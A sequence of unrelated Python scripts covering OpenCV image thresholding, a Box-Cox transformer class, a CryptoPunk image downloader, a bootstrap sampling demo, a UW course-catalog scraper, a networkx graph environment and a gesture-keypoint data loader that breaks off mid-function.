# @Time: 18-12-7 下午2:38
# @Author: gtw
import cv2

def black_process_one(image1):
    image = image1.copy()
    binary = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    ret, binary = cv2.threshold(binary, 100, 255, cv2.THRESH_BINARY)# | cv2.THRESH_OTSU)
    cv2.imshow('binary', binary)
    kernel1 = cv2.getStructuringElement(cv2.MORPH_RECT, (3, 3))
    binary = cv2.morphologyEx(binary, cv2.MORPH_CLOSE, kernel1, iterations=3)
    image[binary == 0, :] = 0
    binary = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    image[binary >= 220, :] = 0
    binary = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    cv2.imshow('binary1', binary)
    ret, binary = cv2.threshold(binary, 10, 255, cv2.THRESH_BINARY)# | cv2.THRESH_OTSU)
    kernel1 = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3))
    binary = cv2.morphologyEx(binary, cv2.MORPH_DILATE, kernel1, iterations=3)
    binary = cv2.morphologyEx(binary, cv2.MORPH_ERODE, kernel1, iterations=4)
    # cv2.imshow('close', binary)
    kernel2 = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5, 5))
    binary = cv2.morphologyEx(binary, cv2.MORPH_ERODE, kernel2, iterations=5)
    binary = cv2.morphologyEx(binary, cv2.MORPH_DILATE, kernel2, iterations=5)
    binary = cv2.morphologyEx(binary, cv2.MORPH_ERODE, kernel1, iterations=1)
    # cv2.imshow('reslut', binary)
    # binary = cv2.bitwise_not(binary)
    # kernel3 = cv2.getStructuringElement(cv2.MORPH_CROSS, (7, 7))
    # binary = cv2.morphologyEx(binary, cv2.MORPH_DILATE, kernel3, iterations=5)
    # binary = cv2.morphologyEx(binary, cv2.MORPH_ERODE, kernel3, iterations=5)
    # cv2.imshow('mor', binary)
    image[binary == 0, :] = 0
    # cv2.imshow('final', image)

    return binary, image

if __name__ == '__main__':
    import random
    import glob
    random.seed(0)
    img_list = glob.glob('voc_80/*')
    img_path = random.choice(img_list)
    img = cv2.imread(img_path)
    binary, image = black_process_one(img)
    # _, contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
    # image = cv2.drawContours(img, contours, 3, (0, 255, 0), -1)
    # for contour in contours:
    #     image = cv2.drawContours(img, [contour], 0, (0, 255, 0), 3)
        # x, y, w, h = cv2.boundingRect(contour)
        # cv2.rectangle(img, (x, y), (x+w, y+h), (0, 0, 255), 3)
    # x, y, w, h = cv2.boundingRect(binary)
    # cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0))
    # cv2.imshow('binary', binary)
    # cv2.imshow('image', image)
    cv2.waitKey(0)
    cv2.destroyAllWindows()


# -*- coding: utf-8 -*-

from scipy import stats

import numpy as np
import warnings

from ...compat import check_is_fitted
from .base import BaseEndogTransformer

__all__ = ['BoxCoxEndogTransformer']

class BoxCoxEndogTransformer(BaseEndogTransformer):
    r"""Apply the Box-Cox transformation to an endogenous array

    The Box-Cox transformation is applied to non-normal data to coerce it more
    towards a normal distribution. It's specified as::

        (((y + lam2) ** lam1) - 1) / lam1, if lmbda != 0, else
        log(y + lam2)

    Parameters
    ----------
    lmbda : float or None, optional (default=None)
        The lambda value for the Box-Cox transformation, if known. If not
        specified, it will be estimated via MLE.

    lmbda2 : float, optional (default=0.)
        The value to add to ``y`` to make it non-negative. If, after adding
        ``lmbda2``, there are still negative values, a ValueError will be
        raised.

    neg_action : str, optional (default="raise")
        How to respond if any values in ``y <= 0`` after adding ``lmbda2``.
        One of ('raise', 'warn', 'ignore'). If anything other than 'raise',
        values <= 0 will be truncated to the value of ``floor``.

    floor : float, optional (default=1e-16)
        A positive value that truncate values to if there are values in ``y``
        that are zero or negative and ``neg_action`` is not 'raise'. Note that
        if values are truncated, invertibility will not be preserved, and the
        transformed array may not be perfectly inverse-transformed.
    """
    def __init__(self, lmbda=None, lmbda2=0, neg_action="raise", floor=1e-16):

        self.lmbda = lmbda
        self.lmbda2 = lmbda2
        self.neg_action = neg_action
        self.floor = floor

    def fit(self, y, X=None):
        """Fit the transformer

        Learns the value of ``lmbda``, if not specified in the constructor.
        If defined in the constructor, is not re-learned.

        Parameters
        ----------
        y : array-like or None, shape=(n_samples,)
            The endogenous (time-series) array.

        X : array-like or None, shape=(n_samples, n_features), optional
            The exogenous array of additional covariates. Not used for
            endogenous transformers. Default is None, and non-None values will
            serve as pass-through arrays.
        """
        lam1 = self.lmbda
        lam2 = self.lmbda2

        if lam2 < 0:
            raise ValueError("lmbda2 must be a non-negative scalar value")

        if lam1 is None:
            y, _ = self._check_y_X(y, X)
            _, lam1 = stats.boxcox(y + lam2, lmbda=None, alpha=None)

        self.lam1_ = lam1
        self.lam2_ = lam2
        return self

    def transform(self, y, X=None, **kwargs):
        """Transform the new array

        Apply the Box-Cox transformation to the array after learning the
        lambda parameter.

        Parameters
        ----------
        y : array-like or None, shape=(n_samples,)
            The endogenous (time-series) array.

        X : array-like or None, shape=(n_samples, n_features), optional
            The exogenous array of additional covariates. Not used for
            endogenous transformers. Default is None, and non-None values will
            serve as pass-through arrays.

        Returns
        -------
        y_transform : array-like or None
            The Box-Cox transformed y array

        X : array-like or None
            The X array
        """
        check_is_fitted(self, "lam1_")

        lam1 = self.lam1_
        lam2 = self.lam2_

        y, exog = self._check_y_X(y, X)
        y += lam2

        neg_mask = y <= 0.
        if neg_mask.any():
            action = self.neg_action
            msg = "Negative or zero values present in y"
            if action == "raise":
                raise ValueError(msg)
            elif action == "warn":
                warnings.warn(msg, UserWarning)
            y[neg_mask] = self.floor

        if lam1 == 0:
            return np.log(y), exog
        return (y ** lam1 - 1) / lam1, exog

    def inverse_transform(self, y, X=None):
        """Inverse transform a transformed array

        Inverse the Box-Cox transformation on the transformed array. Note that
        if truncation happened in the ``transform`` method, invertibility will
        not be preserved, and the transformed array may not be perfectly
        inverse-transformed.

        Parameters
        ----------
        y : array-like or None, shape=(n_samples,)
            The transformed endogenous (time-series) array.

        X : array-like or None, shape=(n_samples, n_features), optional
            The exogenous array of additional covariates. Not used for
            endogenous transformers. Default is None, and non-None values will
            serve as pass-through arrays.

        Returns
        -------
        y : array-like or None
            The inverse-transformed y array

        X : array-like or None
            The inverse-transformed X array
        """
        check_is_fitted(self, "lam1_")

        lam1 = self.lam1_
        lam2 = self.lam2_

        y, exog = self._check_y_X(y, X)
        if lam1 == 0:
            return np.exp(y) - lam2, exog

        numer = y * lam1  # remove denominator
        numer += 1.  # add 1 back to it
        de_exp = numer ** (1. / lam1)  # de-exponentiate
        return de_exp - lam2, exog


import requests
import os

# If this didn't exist ~2000 wouldn't download
def number(u):
    if u < 10:
        return '000' + f'{u}'
    elif u < 100:
        return '00' + f'{u}'
    elif u < 1000:
        return '0' + f'{u}'
    else:
        return u

# get os for clear function
if os.name == 'nt':
    clear = 'cls'
else:
    clear = 'clear'

def main():
    i = 0
    for x in range(10000):
        a = number(i)
        url = f'https://www.larvalabs.com/public/images/cryptopunks/punk{a}.png'
        r = requests.get(url=url)
        if r.status_code == 200:
            with open(f'punks/punk{a}.png', 'wb') as f:
                f.write(r.content)
            os.system(clear)
            print(f'Saved punk {i}')
        else:
            print(r.status_code)
        i += 1

if __name__ == '__main__':
    main()
else:
    print('this cannot be imported')


#采样偏差影响对总体的预测，可以减小采样误差，但是避免不了采样误差，
#标准差，用来表征数据的分散程度   样本-均值的平方和的均值的开方

#置信区间：用总体统计量的估计区间话标准差，用于表征数据的波动范围
#抽样方法   1）蒙特卡洛模拟
import seaborn
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
#boostrap采样的实现
def boostrap_sample():
    data = seaborn.load_dataset('iris')
    # seaborn.distplot(data['sepal_length'],color='gray')

    boost_sample = []
    for i in range(1000):
        boost_sample.append([])
    boost_mean = []
    for i in range(1000):
        boost_sample[i].append(pd.Series.sample(data['sepal_length'],replace=True))
        sample_data = pd.Series.sample(data['sepal_length'],replace=True)
        boost_mean.append(np.mean(sample_data))
    seaborn.distplot(boost_mean,color='gray')
    #求置信区间
    print(boost_mean)
    start_percentile = np.percentile(boost_mean,2.5)
    end_percentile = np.percentile(boost_mean,97.5)
    print([start_percentile,end_percentile])
    plt.show()

if __name__ == '__main__':
    boostrap_sample()


""" Creates a tsv file containing course data for each UW Campus """

import re, time, json, os, requests
import pandas as pd
import concurrent.futures as cf
from tqdm import tqdm
from bs4 import BeautifulSoup
from unicodedata import normalize

CAMPUSES = {
    'Seattle': 'http://www.washington.edu/students/crscat/',
    'Bothell': 'http://www.washington.edu/students/crscatb/',
    'Tacoma': 'http://www.washington.edu/students/crscatt/'
}

COLUMN_NAMES = ['Campus', 'Department Name', 'Course Number', 'Course Name', 'Credits',
                'Areas of Knowledge', 'Quarters Offered', 'Offered with',
                'Prerequisites', 'Co-Requisites', 'Description']

def check_campus(department_name, department_dict, val):
    """
    Returns the campus/college the given 'department_name' is in
    depending on the value of the 'val' parameter

    @params

        'department_name': The full name of the department to search for

        'department_dict': The dictionary of department information to search through

        'val': Can either be 'Campus' or 'College', used to determine which value
               to return

    Returns

        The campus or college the given 'department_name' is in
    """
    # for [c] -> campus, [college] -> Colleges in Campus
    for c, college in department_dict.items():
        for col_name, deps in college.items():
            for dep_a, dep_f in deps.items():
                if val == 'Campus':
                    if dep_f == department_name:
                        return c
                elif val == 'College':
                    if dep_f == department_name or dep_a == department_name:
                        return col_name

find_all_re = re.compile(r'[A-Z& ]+/[A-Z& ]+/[A-Z& ]+\d+')
find_one_re = re.compile(r'[A-Z& ]+/[A-Z& ]+\d+')
find_series_2_re = re.compile(r'[A-Z& ]+\d+, ?\d{3}')
find_series_3_re = re.compile(r'[A-Z& ]+\d+, ?\d{3}, ?\d{3}')
course_re = re.compile(r'[A-Z& ]+')
three_digits = re.compile(r'\d{3}')

def complete_description(description):
    """
    Replaces all occurances of un-numbered courses in the given course description

    @params

        'description': The course description

    Returns

        Completed courses in description
    """
    local_find_all_re = find_all_re
    local_find_one_re = find_one_re
    local_find_series_2_re = find_series_2_re
    local_find_series_3_re = find_series_3_re
    local_course_re = course_re
    local_three_digits = three_digits

    find_all = re.findall(local_find_all_re, description)
    find_one = re.findall(local_find_one_re, description)

    def remove_in(a, b):
        remove = [y for x in a for y in b if y in x]
        a.extend(b)
        for x in remove: a.remove(x)
        return a

    if find_one:
        find_all = remove_in(find_all, find_one)
        for i, x in enumerate(find_all):
            completed = []
            find_all[i] = x.replace(' ', '')
            number = re.search(local_three_digits, find_all[i]).group(0)
            for crs in re.findall(local_course_re, find_all[i]):
                completed.append(f'{crs}{number}')
            description = description.replace(x, ' {}'.format('/'.join(completed)), 1)

    find_series_2 = re.findall(local_find_series_2_re, description)
    find_series_3 = re.findall(local_find_series_3_re, description)
    if find_series_2 or find_series_3:
        find_series_2 = remove_in(find_series_3, find_series_2)
        for i, series in enumerate(find_series_2):
            find_series_2[i] = series.replace(' ', '')
            course_dep = re.search(local_course_re, find_series_2[i])
            if course_dep:
                depmnt = course_dep.group(0)
                description = description.replace(series, f'{depmnt}{find_series_2[i][-3:]}', 1)
    return description

not_offered = re.compile(r'[Nn]ot open to students')
co_req = re.compile(r'[Cc]o-?[Rr]equisites?')
no_credit_if_re = re.compile \
    (r'([Cc]annot|[Mm]ay not) be taken for credit if (credit received for|student has taken)?[A-Z& ]+\d{3}')
mulitple_re = re.compile(r'[A-Z& ]+\d{3}/[A-Z& ]+\d{3}/[A-Z& ]+\d{3} and')
find_match_re = re.compile(r'([A-Z& ]{2,}\d{3})')

def get_requisites(description, type_):
    """
    Gets the requisite courses for the given course

    @params

        'description': The course description

        'type_': Either 'Prerequisite' or 'Co-Requisite'

    Returns

        The requisite courses.
    """
    if type_ not in description:
        return ''

    local_not_offered = not_offered
    local_co_req = co_req
    local_no_credit_if_re = no_credit_if_re
    local_mulitple_re = mulitple_re
    local_find_match_re = find_match_re

    description = description.replace(' AND ', ' and ').replace(' OR ', ' or ').replace('; or', '/')
    description = description.replace('and either', ';').replace('and one of', ';')
    description = re.sub(local_no_credit_if_re, '', description)
    description = local_not_offered.split(description.rsplit('Offered:', 1)[0].split(type_, 1)[-1])[0]
    multiple = re.search(local_mulitple_re, description)
    if multiple:
        description = description.replace(multiple.group(0), f'{multiple.group(0)[:-4]};', 1)
    del multiple, local_mulitple_re, local_not_offered, local_no_credit_if_re
    if 'Prerequisite' in type_: description = local_co_req.split(description)[0]
    del local_co_req
    POI = ',POI' if 'permission' in description.lower() else ''
    new_result = []
    for course in description.split('(')[0].split(';'):
        if ', and' in course:
            new_result.append(course.replace(',', ';'))
        else:
            new_result.append(course)
    description = ';'.join(new_result)
    del new_result

    if 'with either' in description:
            with_either = description.split('with either')
            description = '{}&&{}'.format(with_either[0], with_either[1].replace(' or ', '/'))
    description = description.replace(' and ', '&&').replace(' or ', ',')

    def extract(course_option, split_char):
        elements = []
        for next_option in filter(None, course_option.split(split_char)):
            find_match(next_option, elements)
        return elements

    def find_match(to_match, to_append):
        match = re.search(local_find_match_re, to_match)
        if match: to_append.append(match.group(0))

    semi_colon = []
    for crs in filter(None, description.split(';')):
        comma = []
        for option in filter(None, crs.split(',')):
            if '/' in option and '&&' not in option:
                comma.append('/'.join(extract(option, '/')))
            elif '/' not in option and '&&' in option:
                comma.append('&&'.join(extract(option, '&&')))
            elif '/' in option and '&&' in option:
                doubleand = ('/'.join(extract(x, '/')) for x in filter(None, option.split('&&')))
                comma.append('&&'.join(doubleand))
            else:
                find_match(option, comma)
        semi_colon.append(','.join(filter(None, comma)))
    result = ';'.join(filter(None, semi_colon)).replace(' ', '') \
                .strip(',').strip(';').strip('&').replace(';,', ';')
    result = f'{result}{POI}'
    del POI, semi_colon
    result = re.sub(r'&{3,}', '', result)
    result = ','.join(filter(None, result.split(',')))
    result = ';'.join(filter(None, result.split(';')))
    result = ','.join(dict.fromkeys(result.split(','))).replace(';&&', ';').strip('&')
    result = ';'.join(dict.fromkeys(result.split(';')))
    result = result.strip(',').strip(';').strip('&').replace(';,', ';').strip()
    filter_result = []
    for course in result.split(';'):
        if '/' in course and '&&' not in course:
            filter_result.append(course.replace('/', ','))
        elif '/' not in course and '&&' in course and ',' not in course:
            filter_result.append(course.replace('&&', ';'))
        else:
            filter_result.append(course)
    return ';'.join(filter_result)

parts_re = re.compile(r'([A-Z& ]+\d+)')
quarters = ['A', 'W', 'Sp', 'S']

def get_offered(description):
    """
    Gets the quarters the course is offered

    @params

        'description': The course description

    Returns

        Quarters offered as comma separated list (A, W, Sp, S)
    """
    if 'Offered:' not in description:
        return ''
    local_parts_re = parts_re
    local_quarters = quarters

    check_parts = description.rsplit('Offered:', 1)[-1]
    parts = check_parts.split(';')[1] if ';' in check_parts else check_parts
    parts = re.sub(local_parts_re, '', parts)
    result = []
    for quarter in local_quarters:
        if quarter in parts:
            result.append(quarter)
            parts = parts.replace(quarter, '', 1)
    return ','.join(result)

course_re = re.compile(r'[A-Z&]+')
course_name_re = re.compile(r'[^\(]+')
credits_re = re.compile(r'(I&S)|(DIV)|(NW)|(VLPA)|(QSR)')
credits_num_re = re.compile(r'\([\*,\[\]\.max\d/ \-]+\)')
offered_jointly_re = re.compile(r'([A-Z& ]+\d+)')

def parse_catalogs(campuses=['Seattle', 'Bothell', 'Tacoma'], struct='df',
                   show_progress=False):
    """
    Parses the UW Course Catalogs for the given campuses

    @params

        'campuses': The Campuses to get the course catalogs from
                    Can either be a list of campuses, or a dictionary where
                    the keys are the campuses and values are a list of departments
                    to parse from that campus

        'struct': The Data Structure to return the course catalog data in
                  'df' -> Pandas DataFrame
                  'dict' -> Python Dictionary

        'show_progress': Displays a progress meter in the console if True,
                         otherwise displays nothing

    Returns

        A Pandas DataFrame/Python Dictionary representing the course catalogs for all UW
        Campuses in the 'campuses' list.
    """
    assert type(campuses) == list or type(campuses) == dict, 'Type of "campuses" must be list or dict'
    if type(campuses) == dict:
        for key, value in campuses.items():
            if type(key) != str or type(value) != list:
                raise ValueError('''"campuses" dict must have keys of type str and
                                     values of type list''')
    # Check if all campuses in 'campuses' are valid
    assert all([c in ['Seattle', 'Bothell', 'Tacoma'] for c in list(map(str.title, campuses))])
    assert type(struct) == str, 'Type of "struct" must be str'
    assert type(show_progress) == bool, 'Type of "show_progress" must be bool'
    assert struct in ['df', 'dict'], f'{struct} is an invalid argument for "struct"'

    # Progress bar for Course Schedule Parsing
    if show_progress:
        progress_bar = tqdm()

    def parse_campus(department_data, campus):
        """
        Parses all courses from a UW Campus

        @params

            'department_data': BeautifulSoup object with the department list website source
                               for the given 'campus'

            'campus': The campus to get courses from

        Returns

            A pandas DataFrame with all courses in the given campus
        """

        def extract_data(department_link):
            """
            Extracts all course information from a UW Department

            @params:

                'department_link': The url to the UW Department to get course
                                   information from

            Returns

                A list of lists. Each nested list represents one course section with the
                following values (in this order):

                'Campus', 'Department Name', 'Course Number', 'Course Name', 'Credits',
                'Areas of Knowledge', 'Quarters Offered', 'Offered with',
                'Prerequisites', 'Co-Requisites', 'Description'
            """
            # Update the progress bar
            if show_progress:
                progress_bar.update()

            # Regular expressions for searching course descriptions stored in local variables
            # for better peformance
            local_course_re = course_re
            local_course_name_re = course_name_re
            local_credits_re = credits_re
            local_credits_num_re = credits_num_re
            local_offered_jointly_re = offered_jointly_re
            local_CAMPUSES = CAMPUSES

            # Method used in extracting data from course descriptions found in the local scope
            # are stored in local variables for better performance
            local_complete_description = complete_description
            local_get_offered = get_offered
            local_get_requisites = get_requisites

            # All the courses in the department
            courses = []
            dep_file = department_link.get('href')

            # If the user entered a dict as the 'campuse' parameter, departments
            # are checked here
            try:
                # The String in the conditional is the abbreviated Department Name i.e EE
                # for Electrical Engineering
                if normalize('NFKD', department_link.text).rsplit('(', 1) \
                    [-1].replace(' ', '')[:-1] not in campuses[campus]:
                    return None
            except TypeError:
                pass

            # The only links that are used for finding departments are those
            # of the format [a-z]+.html
            if '/' not in dep_file and dep_file.endswith('.html') \
                                   and dep_file not in parsed_departments:
                parsed_departments.add(dep_file)
                department = BeautifulSoup(requests.get( \
                            f'{local_CAMPUSES[campus]}{dep_file}').text, features='lxml')
                for course in department.find_all('a'):
                    course_ID = course.get('name')
                    if course_ID:
                        course_ID = course_ID.upper()
                        course_title = course.find('b').text
                        # The Course Description
                        description = course.get_text().replace(course_title, '', 1)
                        instructors = course.find('i')
                        if instructors:
                            description = description.replace(str(instructors.get_text()), '', 1)
                        del instructors
                        course_text = local_complete_description( \
                                        description.rsplit('View course details in MyPlan', 1)[0])
                        # Course Number i.e 351
                        course_number = re.sub(local_course_re, '', course_ID)
                        match_name = re.search(local_course_name_re, course_title)
                        match_credit_num = re.search(local_credits_num_re, course_title)
                        match_credit_types = re.findall(local_credits_re, course_title)
                        # Jointly offered course with the given course
                        if 'jointly with' in course_text:
                            offered_jointly = course_text.rsplit('jointly with ', 1)[-1].rsplit(';', 1)[0]
                            offered_jointly = ','.join(re.findall( \
                                local_offered_jointly_re, offered_jointly)).replace(' ', '')
                        else:
                            offered_jointly = ''
                        courses.append(
                                # Campus, Department Name and Course Number
                                [campus, course_ID[:-3], course_number,
                                # Course Name
                                match_name.group(0).split(course_number, 1)[-1].strip() \
                                                            if match_name else '',
                                # Number of credits for the course
                                match_credit_num.group(0)[1:-1] \
                                                            if match_credit_num else '',
                                # Course Credit Types (I&S, DIV, NW, VLPA, QSR, C)
                                ','.join([list(filter(('').__ne__, x))[0] for x in match_credit_types]) \
                                                            if match_credit_types else '',
                                local_get_offered(course_text),
                                offered_jointly, local_get_requisites(course_text, 'Prerequisite:'),
                                local_get_requisites(course_text, 'Co-requisite'), course_text]
                        )
            return courses

        # In the course catalog website, several department links appear multiple times
        # To prevent parsing the same department more than once, parsed departments
        # are tracked in 'parsed_departments'
        parsed_departments = set()
        local_extract_data = extract_data
        department_data = BeautifulSoup(requests.get(department_data).text, features='lxml')

        campus_catalog = []
        # Extract data from department websites in parallel to reduce idle time
        with cf.ThreadPoolExecutor() as executor:
            results = [executor.submit(local_extract_data, department_link)
                       for department_link in department_data.find_all('a')]
            for result in cf.as_completed(results):
                dptmnt = result.result()
                if dptmnt:
                    campus_catalog.append(dptmnt)

        # DataFrame with all courses in the campus
        return pd.DataFrame(
            [course for department in campus_catalog for course in department],
            columns=COLUMN_NAMES
        )

    # The pandas DataFrame to store the entire course catalog for each UW Campus entered
    # by the user
    course_catalog = pd.DataFrame()

    # Parse all three campuses in parallel for faster run time as well
    # as get the departments dictionary from the 'get_departments' method
    # to add a 'Colleges' column to categorize all courses in their College.
    with cf.ThreadPoolExecutor() as executor:
        results = []
        campuses_for_dict = campuses
        if type(campuses) == dict:
            campuses_for_dict = list(campuses.keys())
        results.append(executor.submit(get_departments, campuses=campuses_for_dict, struct='dict'))
        for campus, link in CAMPUSES.items():
            if campus.title() in campuses:
                results.append(executor.submit(parse_campus, link, campus.title()))
        for result in cf.as_completed(results):
            returned = result.result()
            if type(returned) == dict:
                # Departments dict used to create the 'College' column in the main DataFrame
                departments = returned
            else:
                course_catalog = pd.concat([course_catalog, returned])

    # Add Course ID as the index of the DataFrame to allow for easy course searching
    # Course ID = Department Name + Course Number
    # Example: EE235 = EE + 235
    course_catalog['Course ID'] = course_catalog['Department Name'] + course_catalog['Course Number']
    course_catalog['College'] = course_catalog['Department Name'].apply(check_campus, args=(departments, 'College'))
    course_catalog.set_index('Course ID', inplace=True)
    # Re-order indices to place 'College' right after the 'Department Name'
    course_catalog = course_catalog[['Campus', 'Department Name', 'College', 'Course Number', 'Course Name', 'Credits',
                                    'Areas of Knowledge', 'Quarters Offered', 'Offered with',
                                    'Prerequisites', 'Co-Requisites', 'Description']]

    if struct == 'df':
        return course_catalog
    elif struct == 'dict':
        return course_catalog.to_dict(orient='index')

def get_departments(campuses=['Seattle', 'Tacoma', 'Bothell'], struct='df',
                    flatten='default'):
    """
    Returns the departments at UW for each campus

    @params

        'campuses': The Campuses to get the departments from

        'struct':   The Data Structure to return the department data in
                    'df' -> Pandas DataFrame
                    'dict' -> Python Dictionary

        'flatten':  If struct='dict', return a flattened dictionary of departments.
                    If struct='list', return a list of items specified by the 'flatten' parameter.

                    Flatten options:

                    struct='dict':

                        'default':

                            Campus
                                College
                                    Department Abbreviation -> Department Full Name

                        'college':

                            College
                                Department Abbreviation -> Department Full Name

                        'department':

                            Department Abbreviation -> Department Full Name

                        'campus':

                            Campus
                                Department Abbreviation -> Department Full Name

                        'campege':

                            Campus
                                College

                    struct='list':

                        'college': Returns a list of all colleges in every campus given
                                   in 'campuses'

                        'dep-abbrev': Returns a list of all departments (abbreviations)
                                      in every campus given in 'campuses'

                        'dep-full': Returns a list of all departments (full names) in
                                    every campus given in 'campuses

    Returns

        struct='df' or struct='dict':

            A Pandas DataFrame/Python Dictionary of the Departments for every
            campus given in 'campuses'

        struct='list':

            A list of values specified by the 'flatten' parameter
    """
    assert type(campuses) == list, 'Type of "campuses" must be list'
    # Check if all campuses in 'campuses' are valid
    assert all([c in ['Seattle', 'Bothell', 'Tacoma'] for c in list(map(str.title, campuses))])
    assert type(struct) == str, 'Type of "struct" must be str'
    assert struct in ['df', 'dict', 'list'], f'{struct} is not a valid argument for "struct"'
    assert type(flatten) == str, 'Type of "flatten" must be str'
    assert flatten in ['default', 'college', 'department', 'campus',
                       'campege', 'dep-abbrev', 'dep-full'], f'{flatten} is not a valid argument for "flatten"'
    if struct == 'list':
        assert flatten in ['college', 'dep-abbrev', 'dep-full'], f'''{flatten} is not a valid
                                argument for "flatten" with 'struct="list"' '''

    # Get UW Campus Course Catalog page sources, used for parallel processing
    campus_source = lambda x: (requests.get(CAMPUSES[x]).text, x)

    # Dictionary with UW Campus to Department Dictionary mappings
    departments = {}

    # Department Parsing
    with cf.ThreadPoolExecutor() as executor:
        pages = [executor.submit(campus_source, campus.title()) for campus in campuses]
        for f in cf.as_completed(pages):
            # Source -> Page Source for given UW Campus Course Catalog
            source, campus = f.result()
            departments[campus] = {}
            source = BeautifulSoup(source.rsplit('class="col-md-4 uw-sidebar"', 1)[0], features='lxml')
            # College Names at UW i.e. College of Built Environments, College of Engineering, etc...
            college_names = [c.get_text() for c in source.find_all('h2', {'id': re.compile(r'[A-Za-z]+')})]
            colleges = str(source).split('<h2 id=')
            for i, college in enumerate(colleges[1:]):
                departments[campus][college_names[i]] = {}
                college = BeautifulSoup(college, features='lxml')
                # Department Names are found in the anchor tags on the course catalog website
                for dep_name in college.find_all('a'):
                    # There are some non-breaking spaces ('\xa0', encoding='ISO-8859-1') which
                    # are removed through the 'normalize' function
                    dep_name = normalize('NFKD', dep_name.text)
                    try:
                        full_name, abbrev = dep_name.rsplit('(', 1)
                    except ValueError:
                        pass
                    else:
                        if '(' in dep_name and '--' not in dep_name:
                            abbrev = abbrev.replace(' ', '')[:-1]
                            if not abbrev.startswith('See'):
                                departments[campus][college_names[i]][abbrev] = \
                                    full_name.strip()

    if struct == 'df':
        df = pd.DataFrame().from_dict(
            # Flatten dict for DataFrame construction
            # [dn] -> Department Name, [dfull] -> Full Name, [c] -> Campus
            {dep_abb: dep_full for college in departments.values()
                               for department in college.values()
                               for dep_abb, dep_full in department.items()},
            orient='index', columns=['Department Name']
        )
        df.index.name = 'Department'
        df['Campus'] = df['Department Name'].apply(check_campus, args=(departments, 'Campus'))
        df['College'] = df['Department Name'].apply(check_campus, args=(departments, 'College'))
        return df
    elif struct == 'dict':
        if flatten == 'default':
            return departments
        elif flatten == 'college':
            return {cname: dep for college in departments.values() for cname, dep in college.items()}
        elif flatten == 'department':
            return {dep_abb: dep_full for college in departments.values()
                               for department in college.values()
                               # [dep_abb] -> Abbreviated Department Name
                               # [dep_full] -> Full Department Name
                               for dep_abb, dep_full in department.items()}
        elif flatten == 'campus':
            campus = {}
            # [camp] -> Campus, [col] -> College
            for camp, col in departments.items():
                campus[camp] = {}
                # [dep] -> Department dict
                for dep in col.values():
                    # [dn] -> Abbreviated Department Name
                    # [df] -> Full Department Name
                    for dn, df in dep.items():
                        campus[camp][dn] = df
            return campus
        elif flatten == 'campege':
            return {campus: list(clg.keys()) for campus, clg in departments.items()}
    elif struct == 'list':
        if flatten == 'college':
            return [name for college in departments.values() for name in college.keys()]
        elif flatten == 'dep-abbrev':
            return [dep_abb for college in departments.values()
                            for col_name in college.values()
                            for dep_abb in col_name.keys()]
        elif flatten == 'dep-full':
            return [dep_full for college in departments.values()
                             for col_name in college.values()
                             for dep_full in col_name.values()]


import numpy as np
import networkx as nx

class NetworkWorld:

    '''
    a world for traversal on a network structure
    '''

    def __init__(self,
                 nodes,
                 edges,
                 action_dim,
                 permute_node_labels=False):
        self.nodes = nodes # an array of nodes
        self.edges = edges # a dict of (node - list of nodes) paring
        self.current = None # for traversal
        self.action_dim = action_dim
        self.node_mapping = None
        if permute_node_labels:
            self.permute_node_labels()
        self.build_graph()

    def permute_node_labels(self):
        new_labels = np.copy(self.nodes)
        np.random.shuffle(new_labels)
        old_new_lookup = {}
        for i, old in enumerate(self.nodes):
            old_new_lookup[old] = new_labels[i]
        self.node_mapping = old_new_lookup
        # modify self.edges using the new nodes
        new_edges = {}
        for i, old in enumerate(self.nodes):
            new = old_new_lookup[old]
            old_successors = self.edges[old]
            new_successors = [old_new_lookup[o] for o in old_successors]
            new_edges[new] = new_successors
        self.edges = new_edges
        self.nodes = new_labels

    def build_graph(self):
        self.graph = nx.DiGraph()
        for i in self.nodes:
            self.graph.add_node(i)
            for j in self.edges[i]:
                self.graph.add_edge(i, j, weight=1)

    def get_neighbors(self, node, lookup='a'):
        '''
        returs the neighbors for the given node
        :param lookup: if a, get all neighbors
                       if p, get predecessors nodes
                       if s, get successors nodes
        '''
        if lookup=='a': # all neighbors
            return list(self.graph.predecessors(node)) + list(self.graph.successors(node))
        if lookup=='p': # predecessors
            return list(self.graph.predecessors(node))
        if lookup=='s': # successors
            return list(self.graph.successors(node))

    def reset(self, start=None):
        self.current = start if start is not None else np.random.choice(self.nodes)
        return self.current

    def step(self, action):
        next_node = self.edges[self.current][action]
        self.current = next_node
        return self.current

    def shortest_path(self, s1, s2):
        shortest_path = nx.shortest_path(self.graph, s1, s2)
        actions = [self.edges[shortest_path[i-1]].index(shortest_path[i])
                   for i in np.arange(len(shortest_path))[1:]]
        n = len(actions)
        return {'n_step':n, 'path':shortest_path, 'actions':actions}


import sys
import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split

def load_train_test_data():
    samples, labels = load_data()

    # Split dataset into training set and test set (80%/20%)
    train_data, test_data, train_label, test_label = train_test_split(samples, labels, test_size=0.2, random_state=1)
    return train_data.T, train_label, test_data.T, test_label

def normalize(keypoints):

    # origin keypoint
    palmBase = np.array(keypoints[-1])
    for k in range(len(keypoints) - 1):
        scaled_keypoint = np.subtract(keypoints[k], palmBase)

    nom = (keypoints - keypoints.min(axis=0)) * 2
    denom = keypoints.max(axis=0) - keypoints.min(axis=0)
    denom[denom==0] = 1

    return -1 + nom/denom

def load_data():

    # read from keypoints.txt
    data_file = open('./keypoints/keypoints_KS.txt', 'r')
    lines = data_file.readlines()
    lines = lines[1:]

    n = len(lines)

    # gesture dictionary
    gesture_labels = {'s1':1, 's2':2, 's3':3, 's4':5, 's5':0, 's6':2, 's7':1, 's8':4, 's9':3, 's10':1, 's11':1, 'k1':0, 'k2':1, 'k3':1, 'k4':2, 'k5':2, 'k6':3, 'k7':2, 'k8':3, 'k9':5, 'k10':3}
    samples = []
    labels = []

    for l in range(n):
        coordinates = lines[l].split(',')

        # remove newline
        coordinates[-1] = coordinates[-1].rstrip()

        # ground truth
        first_string = coordinates[0].split('_')
        # decide what you want to do with the classifier labels, for now label them all '1'
        labels.append(gesture_labels[first_string[0]])
        coordinates[0] = first_string[2]

        # split coordinates into respective keypoints
